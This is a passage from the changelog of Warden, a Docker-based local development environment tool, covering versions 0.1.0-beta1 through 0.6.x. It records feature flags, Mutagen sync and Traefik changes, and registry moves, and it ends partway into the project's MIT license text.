* Updated `warden db import` to strip usages of `@@GLOBAL.GITD_PURGED` and `@@SESSION.SQL_LOG_BIN` from database dumps during import process to avoid failures importing databases originating from Amazon RDS (issue [#162](https://github.com/davidalger/warden/issues/162))
* Added Mutagen sync configuration for `magento1` environment type (issue [#97](https://github.com/davidalger/warden/issues/97))

## Version [0.6.0](https://github.com/davidalger/warden/tree/0.6.0) (2020-07-02)
[All Commits](https://github.com/davidalger/warden/compare/0.5.3..0.6.0)

**Upgrade Notes:**

* Warden now requires `docker-compose` 1.25.0 or later; see [issue #165](https://github.com/davidalger/warden/issues/165)
* Warden now requires `mutagen` 0.11.4 or later for environments leveraging sync sessions on Mac OS (currently Magento 2 and Shopware 6 use Mutagen).

**Enhancements:**

* Added `warden svc` command to control global services replacing `warden start`, `warden stop`, `warden up`, `warden down`, and `warden restart` and offering further flexibility as this works similar to `warden env` in that any verb known to `docker-compose` may be used in orchestrating global services such as `traefik`, `dnsmasq` and `portainer`; for example, `warden svc up` does what `warden up` did previously.
* Updated `warden env` to report an error if Docker does not appear to be running.
* Updated `warden env up` to imply `-d` (`--detach`) to work in like manner to `warden svc up` (formerly `warden up`)
* The `warden sync` command now allows use of mutagen sub-commands `flush` and `reset`
* The following version defaults were updated (these defaults apply when versions remain unspecified in a project's `.env` file; new project `.env` files may differ by environment type)
  * PHP-FPM default updated from 7.3 to 7.4
  * Elasticsearch default updated from 6.8 to 7.7
  * RabbitMQ default updated from 3.7 to 3.8
  * MariaDB default updated from 10.3 to 10.4
* Updated `warden env-init` command to prompt user before overwriting an existing `.env` file in a project directory ([#166](https://github.com/davidalger/warden/pull/166) by @Lunaetic)
* Updated `warden env-init` command to prompt user for required arguments when missing ([#170](https://github.com/davidalger/warden/pull/170) by @Lunaetic)
* Added support for Magepack advanced JS bundling ([#138](https://github.com/davidalger/warden/pull/138) by @vbuck)
* Added a new `shopware` environment type including Mutagen configuration for file sync on macOS (issue [#169](https://github.com/davidalger/warden/issues/169))
* Added support for implementing custom commands in `~/.warden/commands` or `<project>/.warden/commands` ([#172](https://github.com/davidalger/warden/pull/172) by @davidalger)
* Added new feature flag `WARDEN_NGINX` to enable/disable service on per-project basis. This will allow (for example) using a `local` env type for a static site by adding `WARDEN_NGINX=1` to the project's `.env` file.
* Added ability to pass arguments to and override the database name `db connect` and `db import` operate on (issue [#22](https://github.com/davidalger/warden/issues/22))

**Bug Fixes:**

* Fixed issue where specifying `-v` flag would short circuit argument parsing (this flag was removed; previously was only used with `warden sync list` where `warden sync list -l` now accomplishes the same thing by passing the `-l` flag to mutagen to list in detail)
* Fixed bug where quoted arguments like `"foo bar"` would be passed into sub-route as two arguments, `foo` and `bar` (technical detail of argument parsing; no known cases where this caused an issue)
* Fixed incorrect var name in output of `warden env-init` for Laravel env type

**Deprecated Functionality:**

* The `warden start` command has been deprecated and will be removed in the 0.7.0 release; please use `warden svc start` instead.
* The `warden stop` command has been deprecated and will be removed in the 0.7.0 release; please use `warden svc stop` instead.
* The `warden up` command has been deprecated and will be removed in the 0.7.0 release; please use `warden svc up` instead.
* The `warden down` command has been deprecated and will be removed in the 0.7.0 release; please use `warden svc down` instead.
* The `warden restart` command has been deprecated and will be removed in the 0.7.0 release; please use `warden svc restart` instead.

## Version [0.5.3](https://github.com/davidalger/warden/tree/0.5.3) (2020-06-23)
[All Commits](https://github.com/davidalger/warden/compare/0.5.2..0.5.3)

**Bug Fixes:**

* Reverted filtering of GTID SET commands as added in 0.5.2 release to resolve db import errors (issue [#162](https://github.com/davidalger/warden/issues/162))

## Version [0.5.2](https://github.com/davidalger/warden/tree/0.5.2) (2020-06-11)
[All Commits](https://github.com/davidalger/warden/compare/0.5.1..0.5.2)

**Enhancements:**

* Fixed inability to run `warden debug -c '<command>'` in like manner to `warden shell -c ...`
* Fixed issue where GTID related SET statements in a database dump failed the import (issue [#162](https://github.com/davidalger/warden/issues/162))

## Version [0.5.1](https://github.com/davidalger/warden/tree/0.5.1) (2020-05-28)
[All Commits](https://github.com/davidalger/warden/compare/0.5.0..0.5.1)

**Upgrade Notes:**

All docker images have been re-located to a [new Docker Hub organization](https://hub.docker.com/u/wardenenv) created specifically for use with Warden. All built-in environment types having been updated to reference the images on `docker.io/wardenenv` rather than `quay.io/warden`. Images currently on Quay will remain available (for at least the next 90-days) in order to preserve functionality of Warden prior to the 0.5.1 release, but these will no longer be updated and are considered deprecated immediately. Where references to `quay.io/warden` exist in per-project configuration within the `.warden` directory, it is strongly recommended these references be updated to use images from `docker.io/wardenenv`. You can quickly check an environment's configuration for references to images on Quay via the following command:

```
warden env config | grep quay.io
```

The backstory, and reason for moving the images, is that in Warden 0.2.0 (circa January 2020) images were relocated from a single Docker Hub repository to individual repositories on Quay.io both as a means of breaking down a mon-repo and also to leverage images scanning of Quay.io. Since that time, Quay.io has had multiple outages, including a recent one which lasted for 19 hours with intermittent inability to pull images as even read-only operations were failing as the service failed to be scaled. This morning [Quay.io is down yet again](https://github.com/davidalger/warden/issues/157), prompting all-out inability to pull images. Given the saddening instability of Quay.io and the inability to [setup a local mirror as you can with Docker Hub](https://docs.docker.com/registry/recipes/mirror/) it has become painstakingly obvious that the images must be moved back to Docker Hub for a long-term and stable home, with the added benefit that you will now be able to use a local registry service as a pass-through mirror for reducing network bandwidth and/or ensuring you have a copy of all images local to your network should at any time Docker Hub encounter issues in the future.

The new long-term home for Warden docker images can be found here at [https://hub.docker.com/u/wardenenv](https://hub.docker.com/u/wardenenv).

**Change Summary:**

* Updated images to reside in the `docker.io/wardenenv` registry on [Docker Hub](https://hub.docker.com/u/wardenenv)
* Removed usages of images previously on `quay.io/warden`
* Deprecated images on `quay.io/warden` for planned removal at some point in the future (to be not less than 90-days from today)

## Version [0.5.0](https://github.com/davidalger/warden/tree/0.5.0) (2020-05-21)
[All Commits](https://github.com/davidalger/warden/compare/0.4.4..0.5.0)

**Upgrade Notes:**

If `PHP_VERSION` is not defined in a project's `.env` type the default version is now 7.3 across the board for all environment types. This should not pose any issues for recent `magento1` or `magento2` setups, but `laravel` environments will likely require an update to the project's `.env` to continue using PHP 7.2 or rather than 7.3 for local development.

There is a **breaking change** where custom environment config specific to Linux has been used in the form of placing a `.warden/warden-env.linux-gnu.yml` file in the project directory. The value used for `WARDEN_ENV_SUBT` on Linux is now `linux` rather than `linux-gnu`. After upgrading, these files will need to be re-named from `.warden/warden-env.linux-gnu.yml` to `.warden/warden-env.linux.yml`. Where continued compatibility with prior versions of Warden is desired (for example, to not require the entire team to upgrade Warden at once), a symlink may be placed to point the old file name to the new one allowing Warden to load the definition correctly on both new and old implementations: `warden-env.linux-gnu.yml -> warden-env.linux.yml`

The `BYPASS_VARNISH` flag will continue to work as before but has been **deprecated** to be removed in a future release. It will no longer be included in the `.env` file created for new `magento2` environments. Please use the new feature toggle `WARDEN_VARNISH=0` to disable Varnish instead.

**Enhancements:**

* Added `symfony` environment type for use with Symfony 4+ ([#146](https://github.com/davidalger/warden/pull/146) by @lbajsarowicz)
* Added `COMPOSER_MEMORY_LIMIT=-1` to env on all `php-*` containers ([#154](https://github.com/davidalger/warden/pull/154) by @navarr)
* Added new feature flag `WARDEN_DB` to enable/disable service on per-project basis.
* Added new feature flag `WARDEN_ELASTICSEARCH` to enable/disable service on per-project basis.
* Added new feature flag `WARDEN_VARNISH` to enable/disable service on per-project basis.
* Added new feature flag `WARDEN_RABBITMQ` to enable/disable service on per-project basis.
* Added new feature flag `WARDEN_REDIS` to enable/disable service on per-project basis.
* Added new feature flag `WARDEN_MAILHOG` to enable/disable service on per-project basis.
* Updated `WARDEN_ALLURE` to now enable Allure container on any environment type.
* Updated `WARDEN_SELENIUM` to now enable Selenium containers on any environment type.
* Updated `WARDEN_BLACKFIRE` to now enable Blackfire containers on any environment type.
* Updated `env-init` command to include locked values for `MARIADB_VERSION`, `NODE_VERSION`, `PHP_VERSION`, and `REDIS_VERSION` for `laravel` environment types.
* Updated `local` env type so it can now include common services by adding the above feature flags to the project `.env` file.

## Version [0.4.4](https://github.com/davidalger/warden/tree/0.4.4) (2020-05-14)
[All Commits](https://github.com/davidalger/warden/compare/0.4.3..0.4.4)

**Enhancements:**

* Updated `php-fpm` images to use `fpm-loaders` variant of base image to include IonCube & SourceGuardian from upstream images
* Updated `php-fpm` images fix for directory ownership of mounted volume paths for future flexibility by moving it to the `docker-entrypoint` script with an env var `CHOWN_DIR_LIST` to specify what directories to chown on container startup

**Bug Fixes:**

* Fixed missing SSH agent forwarding in `php-blackfire` container
* Fixed lack of `extra_hosts` in `php-blackfire` and `blackfire-agent` containers (issue [#145](https://github.com/davidalger/warden/issues/145))
* Fixed missing `extra_hosts` line for non-subdomain entry in `/etc/hosts` on `selenium` container
* Fixed `$OSTYPE` check for compatibility with OpenSUSE which uses `linux` rather than `linux-gnu` ([#149](https://github.com/davidalger/warden/pull/149) by @Den4ik)

## Version [0.4.3](https://github.com/davidalger/warden/tree/0.4.3) (2020-05-02)
[All Commits](https://github.com/davidalger/warden/compare/0.4.2..0.4.3)

**Enhancements:**

* Updated init routine allowing `WARDEN_HOME_DIR` and `WARDEN_COMPOSER_DIR` to be overridden via environment variables
* Updated environment configuration to reference `WARDEN_SSL_DIR` eliminating hard-coded `~/.warden/ssl` references
* Updated warden global docker config to reference `WARDEN_HOME_DIR` eliminating hard-coded `~/.warden` references
* Updated `warden up` to return an error when docker is not running rather than blindly attempt to start global services

## Version [0.4.2](https://github.com/davidalger/warden/tree/0.4.2) (2020-04-15)
[All Commits](https://github.com/davidalger/warden/compare/0.4.1..0.4.2)

**Enhancements:**

* Added `WARDEN_SYNC_IGNORE` to support passing a comma-separated list of additional [per-session-ignores](https://mutagen.io/documentation/synchronization/ignores#per-session-ignores) to Mutagen when sync sessions are started ([#142](https://github.com/davidalger/warden/pull/142) by @davidalger)
* Added pause, resume and monitor to `warden sync` command ([#141](https://github.com/davidalger/warden/pull/141) by @fooman)
* Changed Mutagen sync to pause on `warden env stop` and resume on `warden env up -d` ([#141](https://github.com/davidalger/warden/pull/141) by @fooman)

**Bug Fixes:**

* Removed exclusion of (commonly large) files types (*.sql, *.gz, *.zip, *.bz2) from sync sessions (as introduced in 0.4.0) because it broke the ability to use artifact repositories with composer ([#142](https://github.com/davidalger/warden/pull/142) by @davidalger)

## Version [0.4.1](https://github.com/davidalger/warden/tree/0.4.1) (2020-04-11)
[All Commits](https://github.com/davidalger/warden/compare/0.4.0..0.4.1)

**Bug Fixes:**

* Removed `tmpfs` volumes from sub-directories of `/var/www/html` when `WARDEN_TEST_DB=1` was set due to compatibility issues ([#139](https://github.com/davidalger/warden/pull/139) by @lbajsarowicz)

## Version [0.4.0](https://github.com/davidalger/warden/tree/0.4.0) (2020-04-02)
[All Commits](https://github.com/davidalger/warden/compare/0.3.1..0.4.0)

**Upgrade Notes:**

The introduction of SSH Agent Forwarding support in [PR #121](https://github.com/davidalger/warden/pull/121) results in Warden now requiring Docker Desktop 2.2.0.0 or later for macOS clients. Please upgrade Docker Desktop prior to upgrading to the latest Warden release to avoid errors relating to unauthorized mounts.

**Enhancements:**

* Added MySQL 5.6 and 5.7 images to Quay repository for use with Warden environments
* Added support for Integration, Unit and API Tests leveraging a `MySQL 5.7` container running on `tempfs` memory disk ([#115](https://github.com/davidalger/warden/pull/115) by @lbajsarowicz)
* Added `WARDEN_ALLURE` setting to control Allure separately from Selenium for use reporting on Integration and Unit tests ([#117](https://github.com/davidalger/warden/pull/117) by @lbajsarowicz)
* Added ssh agent forwarding support on both macOS and Linux hosts ([#121](https://github.com/davidalger/warden/pull/121) by @davidalger)
* Updated entrypoint in php-fpm images to support mounting PEM files into `/etc/pki/ca-trust/source/anchors` ([3a841b7d](https://github.com/davidalger/warden/commit/3a841b7dd80c6827bc8bf238ae8ff53b2519a258))
* Updated config for Mutagen sync to exclude large files (*.sql, *.gz, *.zip, *.bz2) from sync sessions

**Bug Fixes:**

* Fixed issue where `-` in `WARDEN_ENV_NAME` would results in `0.0.0.0` being used in `extra_hosts` passed to containers
* Fixed race condition caused by docker-compose starting two containers with identical mounts simultaneously (issue [#110](https://github.com/davidalger/warden/issues/110))
* Fixed issue with incorrect network name reference when uppercase characters are present in `WARDEN_ENV_NAME` (issue [#127](https://github.com/davidalger/warden/issues/127))
* Fixed issue where Mutagen sync autostart would attempt to start when php-fpm container was not running (ex: when executing `warden env up -d db` to start only the db service)

## Version [0.3.1](https://github.com/davidalger/warden/tree/0.3.1) (2020-03-06)
[All Commits](https://github.com/davidalger/warden/compare/0.3.0..0.3.1)

**Upgrade Notes:**

If you're upgrading from version 0.2.x to 0.3.x for the first time, please reference upgrade notes for [Warden 0.3.0](https://docs.warden.dev/changelog.html#version-0-3-0-2020-03-06) and plan accordingly.

**Bug Fixes:**

* Fixed issue where `env up` and `env start` would exit with an error on env types not using Mutagen sessions
* Fixed issue where `env down` and `env stop` would exit with an error on env types not using Mutagen sessions

## Version [0.3.0](https://github.com/davidalger/warden/tree/0.3.0) (2020-03-06)
[All Commits](https://github.com/davidalger/warden/compare/0.2.4..0.3.0)

**Upgrade Notes:**

The fix for issue [#65](https://github.com/davidalger/warden/issues/65) required removing the `warden` network from each environment's services (see commit [36cb0174](https://github.com/davidalger/warden/commit/36cb0174399a40c7f3eb4c39ae70d33afd39c4a3)) and as a result environments referencing the `warden` network in per-project `.warden/*.yml` configuration files may need to be updated for compatibility with Warden 0.3.0.

Should you see an error like the following when running `warden env ...` then this applies to you:

```
ERROR: Service "nginx" uses an undefined network "warden"
```

To resolve this issue, simply remove the following from each service defined in `.warden/*.yml` files on the project similar to what was done in commit [36cb0174](https://github.com/davidalger/warden/commit/36cb0174399a40c7f3eb4c39ae70d33afd39c4a3) on the base environment definitions:

```
networks:
  - warden
  - default
```

**Bug Fixes:**

* Updated to no longer connect environment containers to `warden` network and instead peer `traefik` and `tunnel` containers with each project when it is started (issue [#65](https://github.com/davidalger/warden/issues/65))

**Enhancements:**

* Added automatic start of Mutagen sync on `env up` and `env start` when sync is not connected (issue [#90](https://github.com/davidalger/warden/issues/90))
* Added automatic stop of Mutagen sync on `env down` and `env stop` (issue [#90](https://github.com/davidalger/warden/issues/90))
* Updated routing rules so Traefik will now by default route both example.com and *.example.com to application ([#111](https://github.com/davidalger/warden/pull/111) by [davidalger](https://github.com/davidalger))

## Version [0.2.4](https://github.com/davidalger/warden/tree/0.2.4) (2020-02-29)
[All Commits](https://github.com/davidalger/warden/compare/0.2.3..0.2.4)

**Bug Fixes:**

* Updated environment path (`WARDEN_ENV_PATH` in scripts) to use physical vs logical current working directory to resolve issues with using symlinked file paths (issue [#101](https://github.com/davidalger/warden/issues/101))
* Removed confusingly quoted placeholder values related to Blackfire from env file generated by `env-init`
* Removed timeout for Selenium Hub, increased timeout for MFTF's `command.php` endpoint to 10 minutes ([#107](https://github.com/davidalger/warden/pull/107) by [lbajsarowicz](https://github.com/lbajsarowicz))
* Fixed issue where `warden sync start` would infinitely wait when Mutagen encountered an error ([#100](https://github.com/davidalger/warden/pull/100) by [Lunaetic](https://github.com/Lunaetic))

## Version [0.2.3](https://github.com/davidalger/warden/tree/0.2.3) (2020-02-14)
[All Commits](https://github.com/davidalger/warden/compare/0.2.2..0.2.3)

**Bug Fixes:**

* Fixed mutagen version check (issue [#95](https://github.com/davidalger/warden/issues/95)); ([#94](https://github.com/davidalger/warden/pull/94) by [blakesaunders](https://github.com/blakesaunders))

**Enhancements:**

* Added `explicit_defaults_for_timestamp=on` to `db` settings on `magento2` environment allowing `setup:db:status` to report clean (2.3.4 and later) (issue [#89](https://github.com/davidalger/warden/issues/89))

## Version [0.2.2](https://github.com/davidalger/warden/tree/0.2.2) (2020-02-09)
[All Commits](https://github.com/davidalger/warden/compare/0.2.1..0.2.2)

**Enhancements:**

* Updated sign-certificates command to specify "O" value and "extendedKeyUsage" to comply with stricter SSL guidelines (issue [#85](https://github.com/davidalger/warden/issues/85))

**Bug Fixes:**

* Fixed missing CN value on CA used to sign SSL certificates (issue [#85](https://github.com/davidalger/warden/issues/85))

## Version [0.2.1](https://github.com/davidalger/warden/tree/0.2.1) (2020-01-30)
[All Commits](https://github.com/davidalger/warden/compare/0.2.0..0.2.1)

**Upgrade Notes:**

If you're upgrading from version 0.1.x to 0.2.x for the first time, please reference upgrade notes for [Warden 0.2.0](https://docs.warden.dev/changelog.html#version-0-2-0-2020-01-27) and plan accordingly.

**Enhancements:**

* Added support for using `~/.warden/.env` to configure aspects of Global Services ([see docs for details](https://docs.warden.dev/services.html)) (issue [#13](https://github.com/davidalger/warden/issues/13))
* Updated `sync start` to no longer call `mutagen daemon start` as Mutagen now does this automatically.
* Updated `warden install` to include short hostname in the common name used when signing the Root CA used by Warden allowing easier identification and interoperability when a single user is running Warden across multiple workstations.

## Version [0.2.0](https://github.com/davidalger/warden/tree/0.2.0) (2020-01-27)
[All Commits](https://github.com/davidalger/warden/compare/0.1.12..0.2.0)

**Upgrade Notes:**

As mentioned below this release of Warden brings with it an update to Traefik 2.1. The v2 line of Traefik completely overhauled the labelling system used to define routes. It also opens the door to new possibilities. All labeling on built-in environment configurations has been updated for compatibility with new versions of Traefik. However, this is a **breaking change** in the two following scenarios:

* The `local` environment type is being used. When `local` env type is used, all config is contained in the project's `.warden/` directory and routes setup via labels on the custom containers will naturally need to be updated.
* Projects using custom labels applied via override files such as `.warden/warden-env.yml` may need to be updated.

Please reference the updated [base environment definitions](https://github.com/davidalger/warden/tree/develop/environments) for examples of how to update the labels on custom definitions.

Environments referencing `laravel.conf` in custom configuration within `.warden` directory must update their configuration to reference the generic `application.conf` instead as the file was renamed in the Nginx image for re-use in the future on additional environment types.

Docker images have all been re-located and/or mirrored to Quay with all built-in environment types having been updated to reference the images at the new location. Images currently on Docker Hub will remain available in order to preserve functionality of Warden 0.1.x release line *(**UPDATE** These images have been removed as of May 28th, 2020)*, but will no longer be updated and compatibility with all functionality in Warden 0.2.0 is not guaranteed. Where these images are referenced in per-project configuration within the `.warden` directory, it is strongly suggested these references be updated to use images at the new locations:

* [https://quay.io/repository/warden/varnish?tab=tags](https://quay.io/repository/warden/varnish?tab=tags)
* [https://quay.io/repository/warden/redis?tab=tags](https://quay.io/repository/warden/redis?tab=tags)
* [https://quay.io/repository/warden/rabbitmq?tab=tags](https://quay.io/repository/warden/rabbitmq?tab=tags)
* [https://quay.io/repository/warden/php-fpm?tab=tags](https://quay.io/repository/warden/php-fpm?tab=tags)
* [https://quay.io/repository/warden/nginx?tab=tags](https://quay.io/repository/warden/nginx?tab=tags)
* [https://quay.io/repository/warden/mariadb?tab=tags](https://quay.io/repository/warden/mariadb?tab=tags)
* [https://quay.io/repository/warden/mailhog?tab=tags](https://quay.io/repository/warden/mailhog?tab=tags)
* [https://quay.io/repository/warden/elasticsearch?tab=tags](https://quay.io/repository/warden/elasticsearch?tab=tags)

**Enhancements:**
* Added native support for multi-domain projects without requiring per-project routing configuration. This is accomplished using wildcard rules in the new Traefik labeling configuration allowing Warden to automatically route any sub-domain of the `TRAEFIK_DOMAIN` value in `.env` to the nginx and/or varnish container for handling by the application.
* Added `warden debug` command which launches user into Xdebug enabled `php-debug` container for debugging CLI based workflows (issue [#33](https://github.com/davidalger/warden/issues/33); [#35](https://github.com/davidalger/warden/pull/35) by [molotovbliss](https://github.com/molotovbliss))
* Added labels to `fpm` containers in `magento2` environment to support use of Live Reload via an injected JS snippet in the site header or footer (issue [#62](https://github.com/davidalger/warden/issues/62))
* Added `WARDEN_ENV_NAME` as prefix to each container hostname in compose configs (issue [#29](https://github.com/davidalger/warden/issues/29))
* Added `BYPASS_VARNISH` flag which when set in project `.env` file will cause Traefik to route requests directly to `nginx` container rather than `varnish` (issue [#63](https://github.com/davidalger/warden/issues/63))
* Added `laravel` environment type to support local development of Laravel based applications (issue [#60](https://github.com/davidalger/warden/issues/60))
* Added Allure reporting support to Selenium setup for MFTF ([#69](https://github.com/davidalger/warden/pull/69) by [lbajsarowicz](https://github.com/lbajsarowicz))
* Updated Traefik container and configuration to deploy Traefik 2.1; this is a **potentially breaking change** as Traefik v2 overhauled the labeling used to auto-configure routing on containers. All labeling on built-in environment configurations has been updated, but where labels are used to configure Traefik in per-project configuration files such as in `.warden/warden-env.yml` the project may require a coordinated update to labeling for continued interoperability of the customizations with Warden 0.2.0+
* Updated Mutagen usage to rely on new commands and configuration in Mutagen 0.10+ (Warden will now throw an error if you attempt to start a sync and have a version of Mutagen older than 0.10.3 installed)
* Updated configuration setup for SSH tunnel container so it will automatically re-instate the needed configuration (if missing) when running `up`, `start`, or `restart` to mitigate issue caused by macOS Catalina updates wiping out customizations to `/etc/ssh/ssh_config` (issue [#59](https://github.com/davidalger/warden/issues/59))
* Updated `env-init` command to include default values for available variables in the project's `.env` making customization a bit easier (issue [#32](https://github.com/davidalger/warden/issues/32))
* Updated default Elasticsearch version for `magento2` environments from 5.4 to 6.8 (issue [#66](https://github.com/davidalger/warden/issues/66))
* Updated Selenium setup for MFTF to use hub and headless nodes by default (issue [#67](https://github.com/davidalger/warden/issues/67); [#68](https://github.com/davidalger/warden/pull/68) by [lbajsarowicz](https://github.com/lbajsarowicz))
* Updated environment templates to pass `TRAEFIK_DOMAIN` and `TRAEFIK_SUBDOMAIN` into `php-fpm` and `php-debug` for use in documented install routine (issue [#42](https://github.com/davidalger/warden/issues/42))
* Updated default PHP version for `magento2` environments from 7.2 to 7.3 (issue [#75](https://github.com/davidalger/warden/issues/75))
* Updated default Varnish version for `magento2` environments from 4.1 to 6.0 (LTS)
* Changed `laravel.conf` in nginx image to generic `application.conf`
* Updated defaults for nginx on `magento2` environments to be set in the docker env vs built into the nginx image; the image now defaults to loading the generic `application.conf` with `/var/www/html` as webroot

**Bug fixes:**
* Fixed broken incorrect Blackfire environment template name for magento1 env type (issue [#48](https://github.com/davidalger/warden/issues/48))
* Fixed inability to get help content specific to env sub-commands using `warden env <command> -h`

## Version [0.1.12](https://github.com/davidalger/warden/tree/0.1.12) (2019-12-10)
[All Commits](https://github.com/davidalger/warden/compare/0.1.11..0.1.12)

**Bug fixes:**
* Fixed issue breaking SSH tunnel as used for port-forwards.

## Version [0.1.11](https://github.com/davidalger/warden/tree/0.1.11) (2019-11-26)
[All Commits](https://github.com/davidalger/warden/compare/0.1.10..0.1.11)

**Enhancements:**
* Added option to enable and setup Selenium for use with MFTF via flag in project's `.env` file ([#40](https://github.com/davidalger/warden/pull/40) by [lbajsarowicz](https://github.com/lbajsarowicz))
* Added error message to `warden install` when `docker-compose` version in `$PATH` is incompatible ([#41](https://github.com/davidalger/warden/pull/41) by [lbajsarowicz](https://github.com/lbajsarowicz))

## Version [0.1.10](https://github.com/davidalger/warden/tree/0.1.10) (2019-09-23)

* Added native support to Warden for using the [split-database system](https://devdocs.magento.com/guides/v2.3/config-guide/multi-master/multi-master.html) in Magento Commerce during local development ([#5](https://github.com/davidalger/warden/pull/5) by [navarr](https://github.com/navarr))
* Added support for optional Blackfire profiling which can be enabled via settings in the project's `.env` file ([#12](https://github.com/davidalger/warden/pull/12) by [navarr](https://github.com/navarr))

## Version [0.1.9](https://github.com/davidalger/warden/tree/0.1.9) (2019-09-19)

* Pinned image for Traefik to use `traefik:v1.7` imgae vs `traefik:latest` to resolve issues caused by Traefik 2.0 having breaking changes in the configuration API

## Version [0.1.8](https://github.com/davidalger/warden/tree/0.1.8) (2019-09-06)

* Introduced `NODE_VERSION` environment variable to specify which version of NodeJS to install in FPM images during container startup (by default v10 is now pre-installed in `mage1-fpm` and `mage2-fpm` images at the time of this release; latest images must be pulled from Docker Hub for this to work).
* Fixed issue where if sub-directory included a relative symlink pointing `.env` at parent project's `.env` file, `--project-dir` passed to `docker-compose` could be specified incorrectly when running warden from within the given sub-directory.

## Version [0.1.7](https://github.com/davidalger/warden/tree/0.1.7) (2019-08-23)

* All published ports now listen on `127.0.0.1` by default as opposed to `0.0.0.0` for a local environment that is fully inaccessible to the outside world apart from using a proxy (such as [Charles](https://www.charlesproxy.com/)).

## Version [0.1.6](https://github.com/davidalger/warden/tree/0.1.6) (2019-08-10)

* Changed the default value `env-init` uses for `TRAEFIK_SUBDOMAIN` to `app` (previously it would match the environment type)
* Added mount of `~/.warden/ssl/rootca/certs:/etc/ssl/warden-rootca-cert:ro` to each env type's `php-fpm` and `php-debug` containers to support FPM images appending this CA root to the trusted ca-bundle on container start
* Added `extra_hosts` entry to set an entry in `/etc/hosts` within `php-fpm` and `php-debug` containers pointing the project's primary domain to the Traefik service IP address so `curl` and `SoapClient` (for example) may work inside a project's FPM services
* Added FPM containers to the "warden" network so they'll be able to route http requests to Traefik

## Version [0.1.5](https://github.com/davidalger/warden/tree/0.1.5) (2019-07-19)

* Changed Mutagen polling interval from 20 to 10 seconds
* Removed `generated` directory from exclusions in Mutagen sync configuration (having this ignored breaks ability to step into generated class files during Xdebug sessions)
* Fixed issue with Mutagen sync cofiguration causing `pub/static` (and other files) to have incorrect permissions resulting in 404'ing static resources
* Fixed issue causing `warden env` to break when run from a path which contained a space (issue [#3](https://github.com/davidalger/warden/issues/3))

## Version [0.1.4](https://github.com/davidalger/warden/tree/0.1.4) (2019-07-15)

* Removed exclusion of 'node_modules' from Mutagen sync for Magento 2 to avoid breaking Dotdigitalgroup_Email module in vendor directory (this module includes a node_modules dir pre-installed).

## Version [0.1.3](https://github.com/davidalger/warden/tree/0.1.3) (2019-07-10)

* Added ability on linux to prevent warden from touching dns configuration when `~/.warden/nodnsconfig` is present.
* Updated install routine to properly trust CA root on Ubuntu (previously warden install would simply fail)
* Updated DNS auto-configuration on linux systems to handle systemd-resolved usage.
* Fixed issue on Ubuntu where dnsmasq container would fail to bind to port 53.
* Fixed issue where lack of `~/.composer` dir (resulting in creation by docker) can cause permissions error inside containers.
* Fixed issue with `bin/magento setup:install` allowing it to pass permissions checks ([#2](https://github.com/davidalger/warden/pull/2) by [fooman](https://github.com/fooman))
* Fixed issue where `env` and `env-init` commands failed to reset shell colors when printing error messages (issue [#4](https://github.com/davidalger/warden/issues/4))

## Version [0.1.2](https://github.com/davidalger/warden/tree/0.1.2) (2019-07-03)

* Added `warden shell` command for easily dropping into the `php-fpm` container (container name is configurable for supporting "local" environment types)
* Added `max_allowed_packet=1024M` to `db` containers for M1 and M2 environments to avoid imports or upgrade routines from failing on large packets.
* Changed `php-fpm` and `php-debug` to use custom images based on `centos:7` as opposed to the `alpine3.9` based official php-fpm images to avoid seg-faults when Source Guardian loader is installed alongside Xdebug.
* Fixed issue with DEFINER stripping in `db import` allowing it to correctly strip from both TRIGGERS and ALGORITHM clauses.

## Version [0.1.1](https://github.com/davidalger/warden/tree/0.1.1) (2019-06-27)

* Fixed bug where 'db' commands broke due to template overhaul in 0.1.0 release.

## Version [0.1.0](https://github.com/davidalger/warden/tree/0.1.0) (2019-06-27)

* Changed the env type setup to automatically include additional configuration based on $OSTYPE.
* Changed the environment template structure to utilize per-OSTYPE docker-compose config additions where environments differ from one host OS to another (such as `magento2` env type, which uses plain mounts on `linux-gnu` but sync sessions on `darwin`)
* Fixed a few error messages so they won't change shell text color permanently when they output.
* Fixed sync command to output error message when any sub-command is run on an env lacking a mutagen configuration.

## Version [0.1.0-beta7](https://github.com/davidalger/warden/tree/0.1.0-beta7)

* Added Xdebug support via additional `php-debug` container which Nginx routes to based on presence of `XDEBUG_SESSION` cookie.
* Fixed Elasticsearch images used in Magento 2 environment templates and configured for lower overall memory utilization upon container start for a smaller env footprint.

## Version [0.1.0-beta6](https://github.com/davidalger/warden/tree/0.1.0-beta6)

* Added support for extending environment configuration on a per-project basis via `.warden/warden-env.yml` and `.warden/warden-env.<WARDEN_ENV_TYPE>.yml` files
* Added `local` env type to support projects which do not conform to any of the templated environments suppoprted out-of-the-box
* Changed Traefik configuration to automatically use the warden docker network (eliminates need for `traefik.docker.network=warden` label on all proxied containers
* Changed Traefik configuration to require containers be explicitly enabled for Traefik via the label `traefik.enable=true`
* Changed docker-compose environment type templates to version 3.5 for better extendability in project override files
* Fixed bug where resolver setup on macOS would fail if `/etc/resolver` dir was already present during install ([#1](https://github.com/davidalger/warden/pull/1) by [fooman](https://github.com/fooman))

## Version [0.1.0-beta5](https://github.com/davidalger/warden/tree/0.1.0-beta5)

* Fixed issue with docker-compose exit codes would result in error messages from global trap
* Added auto-install of mutagen where not already present when any sync command is run
* Added support for WARDEN_WEB_ROOT env setting to publish a sub-dir into /var/www/html
* Changed images for php-fpm to use environment type specfic images from davidalger/warden repository

## Version [0.1.0-beta4](https://github.com/davidalger/warden/tree/0.1.0-beta4)

* Added "env" command for controlling docker based per-project environments (currently this simply passes all commands and arguments through to docker-compose).
* Added "env-init" to add `.env` file with Warden configuration to the current working directory.
* Added "sync" command with start/stop/list sub-commands for controlling per-project mutagen sessions.
* Added "db" command for connecting to mysql and importing databases into the db service.
* Added three environment types: `magento1`, `magento2-mutagen`, `magento2-native` with auto-selecting the correct M2 environment on Linux/macOS.
* Fixed dnsmasq setup on Linux (nameserver is now configured on Linux when NetworkManager service is active during install; tested on Fedora 29)

## Version [0.1.0-beta3](https://github.com/davidalger/warden/tree/0.1.0-beta3)

* Fixed infinite loop on initial setup routine.

## Version [0.1.0-beta2](https://github.com/davidalger/warden/tree/0.1.0-beta2)

* Updated assertion to automatically execute "warden install" if installed metadata indicator is older than bin/warden.
* Fixed issue on Linux hosts where ssh_key.pub was unusable inside tunnel container due to bad permissions.

## Version [0.1.0-beta1](https://github.com/davidalger/warden/tree/0.1.0-beta1)

* Initial beta release.


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2019 David Alger

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
